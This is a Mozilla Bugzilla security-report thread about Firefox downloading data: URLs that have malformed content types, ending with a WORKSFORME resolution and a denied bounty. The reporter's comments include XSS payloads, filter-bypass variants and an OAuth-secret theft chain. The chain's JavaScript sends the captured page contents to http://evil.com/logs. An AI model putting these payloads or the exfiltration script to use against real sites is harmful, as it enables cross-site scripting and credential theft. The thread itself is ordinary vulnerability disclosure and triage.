Closed Bug 1320130 Opened 9 years ago Closed 6 years ago

data: url with invalid (malformed) content type should be treated as invalid

Categories

(Core :: Networking, defect, P3)

defect

Tracking

()

RESOLVED WORKSFORME

People

(Reporter: ankitsingh1579, Unassigned)

Details

(Keywords: reporter-external, Whiteboard: [necko-backlog])

User Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0 Build ID: 20161104212021 Firefox for Android Steps to reproduce: "Flaw in Data URI leads to Malicious File Download" Affected Versions: 1) All versions of Mozilla Firefox browser including the latest released version. 2) All versions of Android Mozilla Firefox Browser versions including the latest released version. 3) I've not checked over iOS or any other version but I am 100% sure this bug exists in those versions as well. Overview -: There's a flaw in the Data URI in Mozilla browser which leads to the file download for the files which doesn't even exist (much like Reflected File Download Attack). The flaw is that if you put / (single or more forward slashes) after the : character in any data URI, then instead of giving a syntactical error or non execution, the mozilla will bring up a file download request to the user. The file being downloaded contains the entire Data URI content after the , character (coma). This flaw is not seen in any browser except the Mozilla Firefox. See the Overview demonstration unlisted PoC video at https://youtu.be/vTsqpftE790 After watching the video, you should also understand that "Data URI File Download" payloads are NOT only limited to as shown in the video, in this same manner & pattern more payloads could be crafted. Impact -: Consider a Link input field in any Web Application. The application protects their users from XSS attack by escaping the : character with a forward slash then this flaw would still lead to the XSS attack if Mozilla is used. Earlier I reported through the HackerOne platform to Udemy for Stored XSS, which was possible due to this flaw of Mozilla even though the Udemy was protecting their users against XSS by escaping : by //. So if you save javascript:alert(5); then it would turn into javascript://alert(5); commenting out the javascript code and saving from XSS. But if you save data:html;base64,PHNjcmlwdD5hbGVydCgyKTwvc2NyaXB0Pg== or data:XYZ,<script>alert('Ankit')</script> in the link input field then it turned out into data://html;base64,PHNjcmlwdD5hbGVydCgyKTwvc2NyaXB0Pg== and data://XYZ,<script>alert('Ankit')</script> respectively, leading to the Stored XSS by file download. So if any victim who was using Udemy at Mozilla and visited attacker's profile and clicked over his website link then a file download box will appear and upon opening would execute the malicious Javascript. See that Udemy Stored XSS PoC video at https://youtu.be/heGLt8qA6_M Similarly I reported Stored XSS to LastPass on BugCrowd platform because of this flaw. See that LastPass Stored XSS PoC video at https://youtu.be/RgOhwZPXc7Y NOTE: I am submitting this bug through the product category of Mozilla Firefox browser (Windows version) only, but the bug exists in Android versions as well. I've not checked for iOS as I don't have any iOS device but it must be existing there for sure. And if there is any other versions apart from these, then it must be existing there for sure as well. Actual results: There's a flaw in the Data URI in Mozilla browser which leads to the file download for the files which doesn't even exist (much like Reflected File Download Attack). The flaw is that if you put / (single or more forward slashes) after the : character in any data URI, then mozilla will bring up a file download request to the user. Expected results: It should have given a syntactical error or there must have been no execution. But execution takes place in the form of a file download request.
At Udemy, I inputted data:html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= which got saved as data://html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= and leaded to the XSS by file download data URI flaw. Afterwards I inputted data:text/html,<script>alert('XSS')</script> which got saved as data://text/html,<script>alert('XSS')</script> and again leaded to the XSS by file download data URI flaw. But this is no more reproducible at Udemy as they patched their filtering mechanism after my report. Also I know, that execution of data URI in any web application over any web page doesn't have privileges of the prior page. It only loads a new page with no privileges. And this javascript downloaded in a new file obviously have no privileges of the prior page but still it's severe as there are many other things that could be carried out by the contained script that are independent from the prior page privilege.
Any updates on this ??
Flags: needinfo?(dveditz)
Sorry I don't get it. To whom you're asking for more info? from me or what ?
This is basically operating as we designed it: a data URL should behave as if you had loaded that content from a web server with that content-type. In the case of unknown--even invalid--types we offer to download it rather than open it, whether it's an http: url or a data: url. The behavior of data: is not well specified so it's quite possible other browsers have chosen to ignore data: urls that can't be immediately displayed rather than try to download them. > So if you save javascript:alert(5); then it would turn into javascript://alert(5); > commenting out the javascript code and saving from XSS. That is a terrible terrible idea. What web apps ought to do is maintain a small whitelist of allowed schemes (http, https, depending on app maybe ftp, mailto) and utterly reject anything else. What if my javascript link is instead javascript:%0A%0Dalert(5) ? put two slashes in front of that and it still runs. I tried this on the Udemy site and they seem to be rejecting javascript links entirely which is much safer. "//" for javascript sort of makes sense since it's trying to turn the code into a comment. Not safe, but I can see what they're trying to do. Adding // to a data: url doesn't make much sense. I guess one slash triggers our "content type" detection rather than thinking it's just an unknown parameter and therefore keeps it from parsing as text/html which would be dangerous. Again it would be much better if they just rejected data: schemes as not on their whitelist rather than trying to "corrupt" such a link in a way that some browser somewhere won't interpret. You seem to want data: urls to never download, and our interpretation of the data: standard is incompatible with that. It could be reasonable that we not be so forgiving of completely invalid content-types, and that if they're syntactically invalid we should treat it as an invalid link rather than ignoring the errors and trying to recover.
Group: firefox-core-security
Status: UNCONFIRMED → NEW
Component: Untriaged → Networking
Ever confirmed: true
Flags: needinfo?(dveditz)
Product: Firefox → Core
Summary: Flaw in Data URI leads to Malicious File Download → data: url with invalid (malformed) content type should be treated as invalid
Version: 50 Branch → unspecified
Thanks for your great elaboration of the issue. I appreciate and agree with what you replied. But one thing I don't agree is NOT considering it as a security sensitive flaw or vulnerability. I know that in the case of Udemy putting CR & LF characters after the : character would get the javascript payload executed, but even if there's a web application which have NOT implemented such a terrible protection mechanism as of udemy (mechanism of putting // after : character) then also this flaw of Mozilla could lead to XSS. For example please see my "LastPass Stored XSS PoC video" given above in the report or visit https://youtu.be/RgOhwZPXc7Y Similarly there are many applications where XSS could be performed because of this Data URI flaw. Due to this flaw of leading to download even at terribly incorrect data URI syntax lets an attacker a great advantage to perform XSS OR in some cases to simply trick users to download files containing malicious Javascript.
Whiteboard: [necko-backlog]
Hello Mozilla Team, Any update on this report. It's been 5 months since I submitted it and it is still in the NEW category. Thanks & Regards Ankit Singh
Priority: -- → P1
Priority: P1 → P3

Hello Reporter,
Having a quick look, download behavior doesn't happen for most of the cases in your PoC.
Any URL still triggers download in your mind?

Flags: needinfo?(ankitsingh1579)

Hello Junior,

Thank you for your response.

Yes, you're absolutely correct, this issue is not reproducible anymore because it looks now it has been fixed by Mozilla. When I reported this on
4 Nov 2016, the issue for all of my reported URLs was there. Afterwards I last checked on version 63.0.3 where the issue was still reproducible. Then I checked on 64.0.2 and here the issue was fixed. Means, for the versions 63.0.3 (and a little before 64.0.2) and older this issue is applicable.

Today I checked on the latest Android Mozilla browser and there also I found this to be fixed while on older versions it was there as reported.

Also, the time I reported I wasn't able to demonstrate exactly how this was a security issue. But later on I found many issues last year in 2019 using this flaw, such as stealing Oauth Token and Exploiting Redirects etc. As an example you can see this private video where I demonstrated how an attacker could have stolen Harvest Oauth token using this flaw -> https://youtu.be/nRNwFHDoPw4
I have more such PoC videos that I reported to different companies where I demonstrated other sort of creative attacks which could have been leveraged using this flaw and they accepted the bug as valid. Do let me know if you'd want those other video PoCs as well to judge whether to consider this one as a security issue.

So finally since this reported issue has been fixed, I would like to know the Mozilla's bounty decision regarding it because this could have led to attacks like Oauth Token stealing & Invalidated Redirects if the scheme/protocol value within the URL was not validated by the application.

I'm looking forward for you response.

Thank you,
Ankit Singh

Flags: needinfo?(ankitsingh1579)

I'd like to mark this resolved.
Please file another bug if you'd like to address other issue.
As of the bounty decision, please flag sec-bounty?

Thanks.

Status: NEW → RESOLVED
Closed: 6 years ago
Resolution: --- → WORKSFORME
Flags: sec-bounty?

Hello Junior,

As you asked I've marked the sec-bounty? flag.

Also may I know have you watched the provided video demonstrating Oauth Token Steal ? Or do you need any additional information regarding leveraging this flaw to Oauth Token Steal ?

Thank you,
Ankit Singh

Hello @Junior & Mozilla Security Team,

Here I'm explaining in detail what makes it a security issue. To judge it for being a security issue or not, I'll request you to consider the last provided unlisted youtube video only regarding stealing Harvest Oauth token (https://youtu.be/nRNwFHDoPw4). And please ignore the Udemy Stored XSS & LastPass Stored XSS PoC video I specified back at the time when I reported.

Description -:

So basically using this flaw, earlier I found that any GET request which might be passing any sensitive token such as Oauth or CSRF tokens, any secret or api keys in the URL then that could be stolen using this reported flaw of Mozilla.

Explanation -:

As I initially reported, that using this flaw I observed that a file download is triggered if you visit data://,xxxxx (or data:/,xxxxx) in the URL bar. The downloaded file would contain any string after the , (comma) character. Means, xxxxx in the case of data://,xxxxx. So basically, slash character would trigger the download (because of invalid/malformed content type specification as per Data URIs), while , (comma) character specifies what the download file would contain.

Now let's consider an application target.com which redirects only to it's whitelisted client of site.com by providing them with any secret key. Means requesting the following URL -:

https://target.com/path?redirect_uri=http://site.com/abc

Responses with a redirect towards -:

http://site.com/abc?secret_key=xxxxxxxxx

Now, while making the initial request, target.com has whitelisted it's redirect_uri param to only accept http://site.com/abc. Any value other than this is NOT accepted. Now consider that the only partial validation target.com possess on this redirect_uri param value, is that it's partially validating the scheme/protocol. It's only checking that scheme/protocol should only be a four character alphabetic string without any special characters or numeric values. Means at the place of xxxx within ?redirect_uri=xxxx://site.com/abc, you can specify any 4 character length alphabetic string only. No special character (not even . dot or : colon character) and no digit/numeric character.

In such a scenario it's not possible to steal the secret_key by exploiting the redirect_uri to perform a redirect towards evil.com (attacker's owned site) so as to capture the value of secret_key. The only possible way is via this reported Data URI flaw. Means, what if we change the initial GET request to -:

https://target.com/path?redirect_uri=data://site.com/abc?param=,zzzzz

which would redirect to -:

data://site.com/abc?param=,zzzzz&secret_key=xxxxxxxxx

Now as a response, at Mozilla, we would get a file download prompt. The GET parameter param is any fake parameter that we additionally specified from our side. The forward slashes in data://site.com/abc?param=,zzzzz triggered the download (because of invalid/malformed content type specification as per Data URIs) and downloaded file would contain the string after the , (comma) character, means zzzzz&secret_key=xxxxxxxxx in this case.

Please note that the downloaded file has no extension, so upon opening it is accepted with text/html content type resulting in properly running the JavaScript or HTML within the file.

Now we are able to trigger the download containing the secret_key within the victim's system. But the point is we want to sent the value of secret_key to attacker's sever. So for that we can craft the initial GET request to -:

See this Image

which would redirect to -:

See this Image

Now as a response, at Mozilla, we would get a file download prompt. The file would contain content as -:

See this Image

Which upon opening at ANY BROWSER will execute the script, and victim would be prompted with It's Dark Outside !! and parallely http://evil.com/final.js is requested which contains the following script -:

var i = window.location.href; function post(p){ var text = ""; text = "http://evil.com/logs/?"+p; var i = document.createElement("img"); i.src = text; return null; } exploit(); function exploit(){ var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function(){ if (this.readyState ==4 && this.status == 200){ document.getElementById("mypoc").innerHTML = post(this.responseText); } }; xhttp.open("GET", i, true); xhttp.withCredentials = true; xhttp.send(); }

This script will send all the content of downloaded file to attacker's owned http://evil.com/logs and secret_key of victim would be stolen.

Further Bypasses -:

What if the target.com makes use of any XSS filters or maybe uses X-XSS-Protection: 1 as one of the header in their responses ? Then in such cases following will be detected and will not work -:

See this Image

OR

See this Image

So to bypass in such cases we can make use of -:

https://target.com/path?redirect_uri=data://site.com/abc?param=,%3Cscript%3Ealert(5)%3C/script%3E

https://target.com/path?redirect_uri=data://site.com/abc?param=;base64,PHNjcmlwdD5hbGVydCgyKTwvc2NyaXB0Pg== (This one is better :D)

Thank you,
Ankit Singh

Any invalid data: URL will result in a download -- for example data:application/octet-stream;base64,<stuff>. You can't prevent that, we can't prevent that.

Now consider that the only partial validation target.com possess on this redirect_uri param value, is that it's partially validating the scheme/protocol. It's only checking that scheme/protocol should only be a four character alphabetic string without any special characters or numeric values.

That would be foolish on the web site's part. We are not going to award a bounty on this.

Flags: sec-bounty? → sec-bounty-
You need to log in before you can comment on or make changes to this bug.